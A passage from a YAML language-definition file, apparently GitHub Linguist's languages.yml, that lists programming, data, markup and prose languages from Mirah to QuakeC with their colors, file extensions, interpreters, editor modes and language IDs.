color: \"#c7a938\"\n  extensions:\n  - \".druby\"\n  - \".duby\"\n  - \".mirah\"\n  tm_scope: source.ruby\n  ace_mode: ruby\n  codemirror_mode: ruby\n  codemirror_mime_type: text/x-ruby\n  language_id: 232\nModelica:\n  type: programming\n  color: \"#de1d31\"\n  extensions:\n  - \".mo\"\n  tm_scope: source.modelica\n  ace_mode: text\n  codemirror_mode: modelica\n  codemirror_mime_type: text/x-modelica\n  language_id: 233\nModula-2:\n  type: programming\n  color: \"#10253f\"\n  extensions:\n  - \".mod\"\n  tm_scope: source.modula2\n  ace_mode: text\n  language_id: 234\nModula-3:\n  type: programming\n  extensions:\n  - \".i3\"\n  - \".ig\"\n  - \".m3\"\n  - \".mg\"\n  color: \"#223388\"\n  ace_mode: text\n  tm_scope: source.modula-3\n  language_id: 564743864\nModule Management System:\n  type: programming\n  extensions:\n  - \".mms\"\n  - \".mmk\"\n  filenames:\n  - descrip.mmk\n  - descrip.mms\n  tm_scope: none\n  ace_mode: text\n  language_id: 235\nMojo:\n  type: programming\n  color: \"#ff4c1f\"\n  extensions:\n  - \".mojo\"\n  ace_mode: python\n  codemirror_mode: python\n  codemirror_mime_type: text/x-python\n  tm_scope: source.mojo\n  language_id: 1045019587\nMonkey:\n  type: programming\n  extensions:\n  - \".monkey\"\n  - \".monkey2\"\n  ace_mode: text\n  tm_scope: source.monkey\n  language_id: 236\nMonkey C:\n  type: programming\n  color: \"#8D6747\"\n  extensions:\n  - \".mc\"\n  tm_scope: source.mc\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 231751931\nMoocode:\n  type: programming\n  extensions:\n  - \".moo\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 237\nMoonBit:\n  type: programming\n  color: \"#b92381\"\n  extensions:\n  - \".mbt\"\n  tm_scope: source.moonbit\n  ace_mode: text\n  language_id: 181453007\nMoonScript:\n  type: programming\n  color: \"#ff4585\"\n  extensions:\n  - \".moon\"\n  interpreters:\n  - moon\n  tm_scope: source.moonscript\n  ace_mode: text\n  language_id: 238\nMotoko:\n  type: programming\n  color: \"#fbb03b\"\n  extensions:\n  - \".mo\"\n  tm_scope: source.mo\n  ace_mode: text\n  language_id: 202937027\nMotorola 68K Assembly:\n  type: programming\n  color: \"#005daa\"\n  group: Assembly\n  aliases:\n  - m68k\n  extensions:\n  - \".asm\"\n  - \".i\"\n  - \".inc\"\n  - \".s\"\n  - \".x68\"\n  tm_scope: source.m68k\n  ace_mode: assembly_x86\n  language_id: 477582706\nMove:\n  type: programming\n  color: \"#4a137a\"\n  extensions:\n  - \".move\"\n  tm_scope: source.move\n  ace_mode: text\n  language_id: 638334599\nMuse:\n  type: prose\n  extensions:\n  - \".muse\"\n  tm_scope: text.muse\n  ace_mode: text\n  wrap: true\n  language_id: 474864066\n  aliases:\n  - amusewiki\n  - emacs muse\nMustache:\n  type: markup\n  color: \"#724b3b\"\n  extensions:\n  - \".mustache\"\n  tm_scope: text.html.smarty\n  ace_mode: smarty\n  codemirror_mode: smarty\n  codemirror_mime_type: text/x-smarty\n  language_id: 638334590\nMyghty:\n  type: programming\n  extensions:\n  - \".myt\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 239\nNASL:\n  type: programming\n  extensions:\n  - \".nasl\"\n  - \".inc\"\n  tm_scope: source.nasl\n  ace_mode: text\n  language_id: 171666519\nNCL:\n  type: programming\n  color: \"#28431f\"\n  extensions:\n  - \".ncl\"\n  tm_scope: source.ncl\n  ace_mode: text\n  language_id: 240\nNEON:\n  type: data\n  extensions:\n  - \".neon\"\n  tm_scope: source.neon\n  ace_mode: text\n  aliases:\n  - nette object notation\n  - ne-on\n  language_id: 481192983\nNL:\n  type: data\n  extensions:\n  - \".nl\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 241\nNMODL:\n  type: programming\n  color: \"#00356B\"\n  extensions:\n  - \".mod\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 136456478\nNPM Config:\n  type: data\n  color: \"#cb3837\"\n  group: INI\n  aliases:\n  - npmrc\n  filenames:\n  - \".npmrc\"\n  tm_scope: source.ini.npmrc\n  ace_mode: text\n  language_id: 685022663\nNSIS:\n  type: programming\n  extensions:\n  - \".nsi\"\n  - \".nsh\"\n  tm_scope: source.nsis\n  ace_mode: nsis\n  codemirror_mode: nsis\n  codemirror_mime_type: text/x-nsis\n  language_id: 242\nNWScript:\n  type: programming\n  color: \"#111522\"\n  extensions:\n  - \".nss\"\n  tm_scope: source.c.nwscript\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 731233819\nNasal:\n  type: programming\n  color: \"#1d2c4e\"\n  extensions:\n  - \".nas\"\n  tm_scope: source.nasal\n  ace_mode: nasal\n  language_id: 178322513\nNearley:\n  type: programming\n  ace_mode: text\n  color: \"#990000\"\n  extensions:\n  - \".ne\"\n  - \".nearley\"\n  tm_scope: source.ne\n  language_id: 521429430\nNemerle:\n  type: programming\n  color: \"#3d3c6e\"\n  extensions:\n  - \".n\"\n  tm_scope: source.nemerle\n  ace_mode: text\n  language_id: 243\nNetLinx:\n  type: programming\n  color: \"#0aa0ff\"\n  extensions:\n  - \".axs\"\n  - \".axi\"\n  tm_scope: source.netlinx\n  ace_mode: text\n  language_id: 244\nNetLinx+ERB:\n  type: programming\n  color: \"#747faa\"\n  extensions:\n  - \".axs.erb\"\n  - \".axi.erb\"\n  tm_scope: source.netlinx.erb\n  ace_mode: text\n  language_id: 245\nNetLogo:\n  type: programming\n  color: \"#ff6375\"\n  extensions:\n  - \".nlogo\"\n  tm_scope: source.lisp\n  ace_mode: lisp\n  codemirror_mode: commonlisp\n  codemirror_mime_type: text/x-common-lisp\n  language_id: 246\nNewLisp:\n  type: programming\n  color: \"#87AED7\"\n  extensions:\n  - \".nl\"\n  - \".lisp\"\n  - \".lsp\"\n  interpreters:\n  - newlisp\n  tm_scope: source.lisp\n  ace_mode: lisp\n  codemirror_mode: commonlisp\n  codemirror_mime_type: text/x-common-lisp\n  language_id: 247\nNextflow:\n  type: programming\n  ace_mode: groovy\n  tm_scope: source.nextflow\n  color: \"#3ac486\"\n  extensions:\n  - \".nf\"\n  filenames:\n  - nextflow.config\n  interpreters:\n  - nextflow\n  language_id: 506780613\nNginx:\n  type: data\n  color: \"#009639\"\n  extensions:\n  - \".nginx\"\n  - \".nginxconf\"\n  - \".vhost\"\n  filenames:\n  - nginx.conf\n  tm_scope: source.nginx\n  aliases:\n  - nginx configuration file\n  ace_mode: nginx\n  codemirror_mode: nginx\n  codemirror_mime_type: text/x-nginx-conf\n  language_id: 248\nNickel:\n  type: programming\n  color: \"#E0C3FC\"\n  extensions:\n  - \".ncl\"\n  tm_scope: source.nickel\n  ace_mode: text\n  language_id: 1067292664\nNim:\n  type: programming\n  color: \"#ffc200\"\n  extensions:\n  - \".nim\"\n  - \".nim.cfg\"\n  - \".nimble\"\n  - \".nimrod\"\n  - \".nims\"\n  filenames:\n  - nim.cfg\n  ace_mode: nim\n  tm_scope: source.nim\n  language_id: 249\nNinja:\n  type: data\n  tm_scope: source.ninja\n  extensions:\n  - \".ninja\"\n  ace_mode: text\n  language_id: 250\nNit:\n  type: programming\n  color: \"#009917\"\n  extensions:\n  - \".nit\"\n  tm_scope: source.nit\n  ace_mode: text\n  language_id: 251\nNix:\n  type: programming\n  color: \"#7e7eff\"\n  extensions:\n  - \".nix\"\n  aliases:\n  - nixos\n  tm_scope: source.nix\n  ace_mode: nix\n  language_id: 252\nNoir:\n  type: programming\n  aliases:\n  - nargo\n  ace_mode: rust\n  codemirror_mode: rust\n  codemirror_mime_type: text/x-rustsrc\n  extensions:\n  - \".nr\"\n  color: \"#2f1f49\"\n  tm_scope: source.nr\n  language_id: 813068465\nNu:\n  type: programming\n  color: \"#c9df40\"\n  aliases:\n  - nush\n  extensions:\n  - \".nu\"\n  filenames:\n  - Nukefile\n  tm_scope: source.nu\n  ace_mode: scheme\n  codemirror_mode: scheme\n  codemirror_mime_type: text/x-scheme\n  interpreters:\n  - nush\n  language_id: 253\nNumPy:\n  type: programming\n  color: \"#9C8AF9\"\n  group: Python\n  extensions:\n  - \".numpy\"\n  - \".numpyw\"\n  - \".numsc\"\n  tm_scope: none\n  ace_mode: text\n  codemirror_mode: python\n  codemirror_mime_type: text/x-python\n  language_id: 254\nNunjucks:\n  type: markup\n  color: \"#3d8137\"\n  extensions:\n  - \".njk\"\n  aliases:\n  - njk\n  tm_scope: text.html.nunjucks\n  ace_mode: nunjucks\n  language_id: 461856962\nNushell:\n  type: programming\n  color: \"#4E9906\"\n  extensions:\n  - \".nu\"\n  interpreters:\n  - nu\n  aliases:\n  - nu-script\n  - nushell-script\n  tm_scope: source.nushell\n  ace_mode: sh\n  codemirror_mode: shell\n  codemirror_mime_type: text/x-sh\n  language_id: 446573572\nOASv2-json:\n  type: data\n  color: \"#85ea2d\"\n  extensions:\n  - \".json\"\n  group: OpenAPI Specification v2\n  tm_scope: source.json\n  ace_mode: json\n  codemirror_mode: javascript\n  codemirror_mime_type: application/json\n  language_id: 834374816\nOASv2-yaml:\n  type: data\n  color: \"#85ea2d\"\n  extensions:\n  - \".yaml\"\n  - \".yml\"\n  group: OpenAPI Specification v2\n  tm_scope: source.yaml\n  ace_mode: yaml\n  codemirror_mode: yaml\n  codemirror_mime_type: text/x-yaml\n  language_id: 105187618\nOASv3-json:\n  type: data\n  color: \"#85ea2d\"\n  extensions:\n  - \".json\"\n  group: OpenAPI Specification v3\n  tm_scope: source.json\n  ace_mode: json\n  codemirror_mode: javascript\n  codemirror_mime_type: application/json\n  language_id: 980062566\nOASv3-yaml:\n  type: data\n  color: \"#85ea2d\"\n  extensions:\n  - \".yaml\"\n  - \".yml\"\n  group: OpenAPI Specification v3\n  tm_scope: source.yaml\n  ace_mode: yaml\n  codemirror_mode: yaml\n  codemirror_mime_type: text/x-yaml\n  language_id: 51239111\nOCaml:\n  type: programming\n  ace_mode: ocaml\n  codemirror_mode: mllike\n  codemirror_mime_type: text/x-ocaml\n  color: \"#ef7a08\"\n  extensions:\n  - \".ml\"\n  - \".eliom\"\n  - \".eliomi\"\n  - \".ml4\"\n  - \".mli\"\n  - \".mll\"\n  - \".mly\"\n  interpreters:\n  - ocaml\n  - ocamlrun\n  - ocamlscript\n  tm_scope: source.ocaml\n  language_id: 255\nOMNeT++ MSG:\n  type: programming\n  extensions:\n  - \".msg\"\n  color: \"#a0e0a0\"\n  tm_scope: source.msg\n  ace_mode: text\n  aliases:\n  - omnetpp-msg\n  language_id: 664100008\nOMNeT++ NED:\n  type: programming\n  extensions:\n  - \".ned\"\n  color: \"#08607c\"\n  tm_scope: source.ned\n  ace_mode: text\n  aliases:\n  - omnetpp-ned\n  language_id: 924868392\nOberon:\n  type: programming\n  extensions:\n  - \".ob2\"\n  tm_scope: source.modula2\n  ace_mode: text\n  language_id: 677210597\nObjDump:\n  type: data\n  extensions:\n  - \".objdump\"\n  tm_scope: objdump.x86asm\n  ace_mode: assembly_x86\n  language_id: 256\nObject Data Instance Notation:\n  type: data\n  extensions:\n  - \".odin\"\n  tm_scope: source.odin-ehr\n  ace_mode: text\n  language_id: 985227236\nObjectScript:\n  type: programming\n  extensions:\n  - \".cls\"\n  language_id: 202735509\n  tm_scope: source.objectscript\n  color: \"#424893\"\n  ace_mode: text\nObjective-C:\n  type: programming\n  tm_scope: source.objc\n  color: \"#438eff\"\n  aliases:\n  - obj-c\n  - objc\n  - objectivec\n  extensions:\n  - \".m\"\n  - \".h\"\n  ace_mode: objectivec\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-objectivec\n  language_id: 257\nObjective-C++:\n  type: programming\n  tm_scope: source.objc++\n  color: \"#6866fb\"\n  aliases:\n  - obj-c++\n  - objc++\n  - objectivec++\n  extensions:\n  - \".mm\"\n  ace_mode: objectivec\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-objectivec++\n  language_id: 258\nObjective-J:\n  type: programming\n  color: \"#ff0c5a\"\n  aliases:\n  - obj-j\n  - objectivej\n  - objj\n  extensions:\n  - \".j\"\n  - \".sj\"\n  tm_scope: source.js.objj\n  ace_mode: text\n  language_id: 259\nOdin:\n  type: programming\n  color: \"#60AFFE\"\n  aliases:\n  - odinlang\n  - odin-lang\n  extensions:\n  - \".odin\"\n  tm_scope: source.odin\n  ace_mode: odin\n  language_id: 889244082\nOmgrofl:\n  type: programming\n  extensions:\n  - \".omgrofl\"\n  color: \"#cabbff\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 260\nOpa:\n  type: programming\n  extensions:\n  - \".opa\"\n  tm_scope: source.opa\n  ace_mode: text\n  language_id: 261\nOpal:\n  type: programming\n  color: \"#f7ede0\"\n  extensions:\n  - \".opal\"\n  tm_scope: source.opal\n  ace_mode: text\n  language_id: 262\nOpen Policy Agent:\n  type: programming\n  color: \"#7d9199\"\n  ace_mode: text\n  extensions:\n  - \".rego\"\n  language_id: 840483232\n  tm_scope: source.rego\nOpenAPI Specification v2:\n  aliases:\n  - oasv2\n  type: data\n  color: \"#85ea2d\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 848295328\nOpenAPI Specification v3:\n  aliases:\n  - oasv3\n  type: data\n  color: \"#85ea2d\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 557959099\nOpenCL:\n  type: programming\n  color: \"#ed2e2d\"\n  group: C\n  extensions:\n  - \".cl\"\n  - \".opencl\"\n  tm_scope: source.c\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 263\nOpenEdge ABL:\n  type: programming\n  color: \"#5ce600\"\n  aliases:\n  - progress\n  - openedge\n  - abl\n  extensions:\n  - \".p\"\n  - \".cls\"\n  - \".w\"\n  tm_scope: source.abl\n  ace_mode: text\n  language_id: 264\nOpenQASM:\n  type: programming\n  extensions:\n  - \".qasm\"\n  color: \"#AA70FF\"\n  tm_scope: source.qasm\n  ace_mode: text\n  language_id: 153739399\nOpenRC runscript:\n  type: programming\n  group: Shell\n  aliases:\n  - openrc\n  interpreters:\n  - openrc-run\n  tm_scope: source.shell\n  ace_mode: sh\n  codemirror_mode: shell\n  codemirror_mime_type: text/x-sh\n  language_id: 265\nOpenSCAD:\n  type: programming\n  color: \"#e5cd45\"\n  extensions:\n  - \".scad\"\n  tm_scope: source.scad\n  ace_mode: scad\n  language_id: 266\nOpenStep Property List:\n  type: data\n  extensions:\n  - \".plist\"\n  - \".glyphs\"\n  tm_scope: source.plist\n  ace_mode: text\n  language_id: 598917541\nOpenType Feature File:\n  type: data\n  aliases:\n  - AFDKO\n  extensions:\n  - \".fea\"\n  tm_scope: source.opentype\n  ace_mode: text\n  language_id: 374317347\nOption List:\n  type: data\n  color: \"#476732\"\n  aliases:\n  - opts\n  - ackrc\n  filenames:\n  - \".ackrc\"\n  - \".rspec\"\n  - \".yardopts\"\n  - ackrc\n  - mocha.opts\n  tm_scope: source.opts\n  ace_mode: sh\n  codemirror_mode: shell\n  codemirror_mime_type: text/x-sh\n  language_id: 723589315\nOrg:\n  type: prose\n  color: \"#77aa99\"\n  wrap: true\n  extensions:\n  - \".org\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 267\nOverpassQL:\n  type: programming\n  color: \"#cce2aa\"\n  wrap: true\n  extensions:\n  - \".overpassql\"\n  tm_scope: source.overpassql\n  ace_mode: text\n  language_id: 689079655\nOx:\n  type: programming\n  extensions:\n  - \".ox\"\n  - \".oxh\"\n  - \".oxo\"\n  tm_scope: source.ox\n  ace_mode: text\n  language_id: 268\nOxygene:\n  type: programming\n  color: \"#cdd0e3\"\n  extensions:\n  - \".oxygene\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 269\nOz:\n  type: programming\n  color: \"#fab738\"\n  extensions:\n  - \".oz\"\n  tm_scope: source.oz\n  ace_mode: text\n  codemirror_mode: oz\n  codemirror_mime_type: text/x-oz\n  language_id: 270\nP4:\n  type: programming\n  color: \"#7055b5\"\n  extensions:\n  - \".p4\"\n  tm_scope: source.p4\n  ace_mode: text\n  language_id: 348895984\nPDDL:\n  type: programming\n  color: \"#0d00ff\"\n  extensions:\n  - \".pddl\"\n  tm_scope: source.pddl\n  ace_mode: text\n  language_id: 736235603\nPEG.js:\n  type: programming\n  color: \"#234d6b\"\n  extensions:\n  - \".pegjs\"\n  - \".peggy\"\n  tm_scope: source.peggy\n  ace_mode: javascript\n  codemirror_mode: javascript\n  codemirror_mime_type: text/javascript\n  language_id: 81442128\nPHP:\n  type: programming\n  tm_scope: text.html.php\n  ace_mode: php\n  codemirror_mode: php\n  codemirror_mime_type: application/x-httpd-php\n  color: \"#4F5D95\"\n  extensions:\n  - \".php\"\n  - \".aw\"\n  - \".ctp\"\n  - \".fcgi\"\n  - \".inc\"\n  - \".php3\"\n  - \".php4\"\n  - \".php5\"\n  - \".phps\"\n  - \".phpt\"\n  filenames:\n  - \".php\"\n  - \".php_cs\"\n  - \".php_cs.dist\"\n  - Phakefile\n  interpreters:\n  - php\n  aliases:\n  - inc\n  language_id: 272\nPLSQL:\n  type: programming\n  ace_mode: plsql\n  codemirror_mode: sql\n  codemirror_mime_type: text/x-plsql\n  tm_scope: none\n  color: \"#dad8d8\"\n  extensions:\n  - \".pls\"\n  - \".bdy\"\n  - \".ddl\"\n  - \".fnc\"\n  - \".pck\"\n  - \".pkb\"\n  - \".pks\"\n  - \".plb\"\n  - \".plsql\"\n  - \".prc\"\n  - \".spc\"\n  - \".sql\"\n  - \".tpb\"\n  - \".tps\"\n  - \".trg\"\n  - \".vw\"\n  language_id: 273\nPLpgSQL:\n  type: programming\n  color: \"#336790\"\n  ace_mode: pgsql\n  codemirror_mode: sql\n  codemirror_mime_type: text/x-sql\n  tm_scope: source.sql\n  extensions:\n  - \".pgsql\"\n  - \".sql\"\n  language_id: 274\nPOV-Ray SDL:\n  type: programming\n  color: \"#6bac65\"\n  aliases:\n  - pov-ray\n  - povray\n  extensions:\n  - \".pov\"\n  - \".inc\"\n  tm_scope: source.pov-ray sdl\n  ace_mode: text\n  language_id: 275\nPact:\n  type: programming\n  color: \"#F7A8B8\"\n  ace_mode: text\n  tm_scope: source.pact\n  extensions:\n  - \".pact\"\n  language_id: 756774415\nPan:\n  type: programming\n  color: \"#cc0000\"\n  extensions:\n  - \".pan\"\n  tm_scope: source.pan\n  ace_mode: text\n  language_id: 276\nPapyrus:\n  type: programming\n  color: \"#6600cc\"\n  extensions:\n  - \".psc\"\n  tm_scope: source.papyrus.skyrim\n  ace_mode: text\n  language_id: 277\nParrot:\n  type: programming\n  color: \"#f3ca0a\"\n  extensions:\n  - \".parrot\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 278\nParrot Assembly:\n  group: Parrot\n  type: programming\n  aliases:\n  - pasm\n  extensions:\n  - \".pasm\"\n  interpreters:\n  - parrot\n  tm_scope: none\n  ace_mode: text\n  language_id: 279\nParrot Internal Representation:\n  group: Parrot\n  tm_scope: source.parrot.pir\n  type: programming\n  aliases:\n  - pir\n  extensions:\n  - \".pir\"\n  interpreters:\n  - parrot\n  ace_mode: text\n  language_id: 280\nPascal:\n  type: programming\n  color: \"#E3F171\"\n  aliases:\n  - delphi\n  - objectpascal\n  extensions:\n  - \".pas\"\n  - \".dfm\"\n  - \".dpr\"\n  - \".inc\"\n  - \".lpr\"\n  - \".pascal\"\n  - \".pp\"\n  interpreters:\n  - instantfpc\n  tm_scope: source.pascal\n  ace_mode: pascal\n  codemirror_mode: pascal\n  codemirror_mime_type: text/x-pascal\n  language_id: 281\nPawn:\n  type: programming\n  color: \"#dbb284\"\n  extensions:\n  - \".pwn\"\n  - \".inc\"\n  - \".sma\"\n  tm_scope: source.pawn\n  ace_mode: text\n  language_id: 271\nPep8:\n  type: programming\n  color: \"#C76F5B\"\n  extensions:\n  - \".pep\"\n  ace_mode: text\n  tm_scope: source.pep8\n  language_id: 840372442\nPerl:\n  type: programming\n  tm_scope: source.perl\n  ace_mode: perl\n  codemirror_mode: perl\n  codemirror_mime_type: text/x-perl\n  color: \"#0298c3\"\n  extensions:\n  - \".pl\"\n  - \".al\"\n  - \".cgi\"\n  - \".fcgi\"\n  - \".perl\"\n  - \".ph\"\n  - \".plx\"\n  - \".pm\"\n  - \".psgi\"\n  - \".t\"\n  filenames:\n  - \".latexmkrc\"\n  - Makefile.PL\n  - Rexfile\n  - ack\n  - cpanfile\n  - latexmkrc\n  interpreters:\n  - cperl\n  - perl\n  aliases:\n  - cperl\n  language_id: 282\nPic:\n  type: markup\n  group: Roff\n  tm_scope: source.pic\n  extensions:\n  - \".pic\"\n  - \".chem\"\n  aliases:\n  - pikchr\n  ace_mode: text\n  codemirror_mode: troff\n  codemirror_mime_type: text/troff\n  language_id: 425\nPickle:\n  type: data\n  extensions:\n  - \".pkl\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 284\nPicoLisp:\n  type: programming\n  color: \"#6067af\"\n  extensions:\n  - \".l\"\n  interpreters:\n  - picolisp\n  - pil\n  tm_scope: source.lisp\n  ace_mode: lisp\n  language_id: 285\nPigLatin:\n  type: programming\n  color: \"#fcd7de\"\n  extensions:\n  - \".pig\"\n  tm_scope: source.pig_latin\n  ace_mode: pig\n  codemirror_mode: pig\n  codemirror_mime_type: text/x-pig\n  language_id: 286\nPike:\n  type: programming\n  color: \"#005390\"\n  extensions:\n  - \".pike\"\n  - \".pmod\"\n  interpreters:\n  - pike\n  tm_scope: source.pike\n  ace_mode: text\n  language_id: 287\nPip Requirements:\n  type: data\n  color: \"#FFD343\"\n  filenames:\n  - dev-requirements.txt\n  - requirements-dev.txt\n  - requirements.lock.txt\n  - requirements.txt\n  ace_mode: text\n  tm_scope: source.pip-requirements\n  language_id: 684385621\nPkl:\n  type: programming\n  color: \"#6b9543\"\n  extensions:\n  - \".pkl\"\n  interpreters:\n  - pkl\n  tm_scope: source.pkl\n  ace_mode: text\n  language_id: 288822799\nPlantUML:\n  type: data\n  color: \"#fbbd16\"\n  extensions:\n  - \".puml\"\n  - \".iuml\"\n  - \".plantuml\"\n  tm_scope: source.wsd\n  ace_mode: text\n  language_id: 833504686\nPod:\n  type: prose\n  ace_mode: perl\n  codemirror_mode: perl\n  codemirror_mime_type: text/x-perl\n  wrap: true\n  extensions:\n  - \".pod\"\n  interpreters:\n  - perl\n  tm_scope: none\n  language_id: 288\nPod 6:\n  type: prose\n  ace_mode: perl\n  tm_scope: source.raku\n  wrap: true\n  extensions:\n  - \".pod\"\n  - \".pod6\"\n  interpreters:\n  - perl6\n  language_id: 155357471\nPogoScript:\n  type: programming\n  color: \"#d80074\"\n  extensions:\n  - \".pogo\"\n  tm_scope: source.pogoscript\n  ace_mode: text\n  language_id: 289\nPolar:\n  type: programming\n  color: \"#ae81ff\"\n  extensions:\n  - \".polar\"\n  tm_scope: source.polar\n  ace_mode: text\n  language_id: 839112914\nPony:\n  type: programming\n  extensions:\n  - \".pony\"\n  tm_scope: source.pony\n  ace_mode: text\n  language_id: 290\nPortugol:\n  type: programming\n  color: \"#f8bd00\"\n  extensions:\n  - \".por\"\n  tm_scope: source.portugol\n  ace_mode: text\n  language_id: 832391833\nPostCSS:\n  type: markup\n  color: \"#dc3a0c\"\n  tm_scope: source.postcss\n  group: CSS\n  extensions:\n  - \".pcss\"\n  - \".postcss\"\n  ace_mode: text\n  language_id: 262764437\nPostScript:\n  type: markup\n  color: \"#da291c\"\n  extensions:\n  - \".ps\"\n  - \".eps\"\n  - \".epsi\"\n  - \".pfa\"\n  tm_scope: source.postscript\n  aliases:\n  - postscr\n  ace_mode: text\n  language_id: 291\nPowerBuilder:\n  type: programming\n  color: \"#8f0f8d\"\n  extensions:\n  - \".pbt\"\n  - \".sra\"\n  - \".sru\"\n  - \".srw\"\n  tm_scope: source.powerbuilder\n  ace_mode: text\n  language_id: 292\nPowerShell:\n  type: programming\n  color: \"#012456\"\n  tm_scope: source.powershell\n  ace_mode: powershell\n  codemirror_mode: powershell\n  codemirror_mime_type: application/x-powershell\n  aliases:\n  - posh\n  - pwsh\n  extensions:\n  - \".ps1\"\n  - \".psd1\"\n  - \".psm1\"\n  interpreters:\n  - pwsh\n  language_id: 293\nPraat:\n  type: programming\n  color: \"#c8506d\"\n  tm_scope: source.praat\n  ace_mode: praat\n  extensions:\n  - \".praat\"\n  language_id: 106029007\nPrisma:\n  type: data\n  color: \"#0c344b\"\n  extensions:\n  - \".prisma\"\n  tm_scope: source.prisma\n  ace_mode: prisma\n  language_id: 499933428\nProcessing:\n  type: programming\n  color: \"#0096D8\"\n  extensions:\n  - \".pde\"\n  tm_scope: source.processing\n  ace_mode: text\n  language_id: 294\nProcfile:\n  type: programming\n  color: \"#3B2F63\"\n  filenames:\n  - Procfile\n  tm_scope: source.procfile\n  ace_mode: batchfile\n  language_id: 305313959\nProguard:\n  type: data\n  extensions:\n  - \".pro\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 716513858\nProlog:\n  type: programming\n  color: \"#74283c\"\n  extensions:\n  - \".pl\"\n  - \".plt\"\n  - \".pro\"\n  - \".prolog\"\n  - \".yap\"\n  interpreters:\n  - swipl\n  - yap\n  tm_scope: source.prolog\n  ace_mode: prolog\n  language_id: 295\nPromela:\n  type: programming\n  color: \"#de0000\"\n  tm_scope: source.promela\n  ace_mode: text\n  extensions:\n  - \".pml\"\n  language_id: 441858312\nPropeller Spin:\n  type: programming\n  color: \"#7fa2a7\"\n  extensions:\n  - \".spin\"\n  tm_scope: source.spin\n  ace_mode: text\n  language_id: 296\nProtocol Buffer:\n  type: data\n  aliases:\n  - proto\n  - protobuf\n  - Protocol Buffers\n  extensions:\n  - \".proto\"\n  tm_scope: source.proto\n  ace_mode: protobuf\n  codemirror_mode: protobuf\n  codemirror_mime_type: text/x-protobuf\n  language_id: 297\nProtocol Buffer Text Format:\n  type: data\n  aliases:\n  - text proto\n  - protobuf text format\n  extensions:\n  - \".textproto\"\n  - \".pbt\"\n  - \".pbtxt\"\n  - \".txtpb\"\n  tm_scope: source.textproto\n  ace_mode: text\n  language_id: 436568854\nPublic Key:\n  type: data\n  extensions:\n  - \".asc\"\n  - \".pub\"\n  tm_scope: none\n  ace_mode: text\n  codemirror_mode: asciiarmor\n  codemirror_mime_type: application/pgp\n  language_id: 298\nPug:\n  type: markup\n  color: \"#a86454\"\n  extensions:\n  - \".jade\"\n  - \".pug\"\n  tm_scope: text.jade\n  ace_mode: jade\n  codemirror_mode: pug\n  codemirror_mime_type: text/x-pug\n  language_id: 179\nPuppet:\n  type: programming\n  color: \"#302B6D\"\n  extensions:\n  - \".pp\"\n  filenames:\n  - Modulefile\n  ace_mode: puppet\n  codemirror_mode: puppet\n  codemirror_mime_type: text/x-puppet\n  tm_scope: source.puppet\n  language_id: 299\nPure Data:\n  type: data\n  extensions:\n  - \".pd\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 300\nPureBasic:\n  type: programming\n  color: \"#5a6986\"\n  extensions:\n  - \".pb\"\n  - \".pbi\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 301\nPureScript:\n  type: programming\n  color: \"#1D222D\"\n  extensions:\n  - \".purs\"\n  tm_scope: source.purescript\n  ace_mode: haskell\n  codemirror_mode: haskell\n  codemirror_mime_type: text/x-haskell\n  language_id: 302\nPyret:\n  type: programming\n  color: \"#ee1e10\"\n  extensions:\n  - \".arr\"\n  ace_mode: python\n  tm_scope: source.arr\n  language_id: 252961827\nPython:\n  type: programming\n  tm_scope: source.python\n  ace_mode: python\n  codemirror_mode: python\n  codemirror_mime_type: text/x-python\n  color: \"#3572A5\"\n  extensions:\n  - \".py\"\n  - \".cgi\"\n  - \".fcgi\"\n  - \".gyp\"\n  - \".gypi\"\n  - \".lmi\"\n  - \".py3\"\n  - \".pyde\"\n  - \".pyi\"\n  - \".pyp\"\n  - \".pyt\"\n  - \".pyw\"\n  - \".rpy\"\n  - \".spec\"\n  - \".tac\"\n  - \".wsgi\"\n  - \".xpy\"\n  filenames:\n  - \".gclient\"\n  - DEPS\n  - SConscript\n  - SConstruct\n  - wscript\n  interpreters:\n  - python\n  - python2\n  - python3\n  - py\n  - pypy\n  - pypy3\n  - uv\n  aliases:\n  - py\n  - py3\n  - python3\n  - rusthon\n  language_id: 303\nPython console:\n  type: programming\n  color: \"#3572A5\"\n  group: Python\n  aliases:\n  - pycon\n  tm_scope: text.python.console\n  ace_mode: text\n  language_id: 428\nPython traceback:\n  type: data\n  color: \"#3572A5\"\n  group: Python\n  extensions:\n  - \".pytb\"\n  tm_scope: text.python.traceback\n  ace_mode: text\n  language_id: 304\nQ#:\n  type: programming\n  extensions:\n  - \".qs\"\n  aliases:\n  - qsharp\n  color: \"#fed659\"\n  ace_mode: text\n  tm_scope: source.qsharp\n  language_id: 697448245\nQML:\n  type: programming\n  color: \"#44a51c\"\n  extensions:\n  - \".qml\"\n  - \".qbs\"\n  tm_scope: source.qml\n  ace_mode: qml\n  language_id: 305\nQMake:\n  type: programming\n  extensions:\n  - \".pro\"\n  - \".pri\"\n  interpreters:\n  - qmake\n  tm_scope: source.qmake\n  ace_mode: text\n  language_id: 306\nQt Script:\n  type: programming\n  ace_mode: javascript\n  codemirror_mode: javascript\n  codemirror_mime_type: text/javascript\n  extensions:\n  - \".qs\"\n  filenames:\n  - installscript.qs\n  - toolchain_installscript.qs\n  color: \"#00b841\"\n  tm_scope: source.js\n  language_id: 558193693\nQuake:\n  type: programming\n  filenames:\n  - m3makefile\n  - m3overrides\n  color: \"#882233\"\n  ace_mode: text\n  tm_scope: source.quake\n  language_id: 375265331\nQuakeC:\n  type: programming\n  extensions:\n  - \".qc\"\n  color: \"#975777\"\n  ace_mode: text\n  tm_scope: 